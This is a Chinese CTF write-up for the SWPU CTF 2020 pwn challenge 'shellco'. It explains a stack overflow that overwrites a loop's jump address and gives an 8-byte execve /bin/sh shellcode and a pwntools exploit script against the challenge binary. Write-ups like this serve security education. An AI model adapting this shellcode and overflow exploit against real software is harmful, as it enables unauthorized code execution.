shellco

发表于 2021-03-05 更新于 2021-03-15 分类于 Challenge ， 2020 ， SWPU CTF 2020 ， Pwn
Challenge | 2020 | SWPU CTF 2020 | Pwn | shellco

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目考点

- *栈溢出*

解题思路

在输入name后，如果name的长度等于8，将获得一次输入的机会，此次输入存在溢出，可以修改之后的对话次数，在栈的最顶上存放着一个地址，该地址为对话循环的跳转位置，多次对话将不停向栈上压入对话内容，直到覆盖栈的顶部，修改跳转位置为shellcode。

由于所有被保存的输入都不超过8个字节，且输入后都会再向栈上压入内容，所以shellcode本身不能超过8个字节。

shellcode编写思路：在程序开始时，r12寄存器保存了/bin/sh的地址，跳转前会执行rax，rbx，rcx，rdx的清零，故shellcode如下

```
mov rbx,r12;
mov al,11;
int 0x80
```

EXP

```
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process("./1")
#p=remote("49.235.209.57",10000)
sleep(0.1)
p.send("\xff"*8)
sleep(0.1)
p.send("\xff"*40+"\x18")
sleep(0.1)
a=16
#pay="\x4c\x89\xe3\xb0\x0b\xcd\x80"
pay=asm("""
mov rbx,r12;
mov al,11;
int 0x80
""")
print len(pay)
sleep(0.1)
p.send(pay)
while(a):
  sleep(0.1)
  a=a-1
  p.sendafter("you lost","\x89\x05\x60\x00\x00\x00\x00\x00")
  p.recv()
p.interactive()
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/SWPU-CTF-2020/Pwn/4Ja2LLtGnp3gTrnR5TCbad.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Pwn # SWPU CTF 2020
find
tnote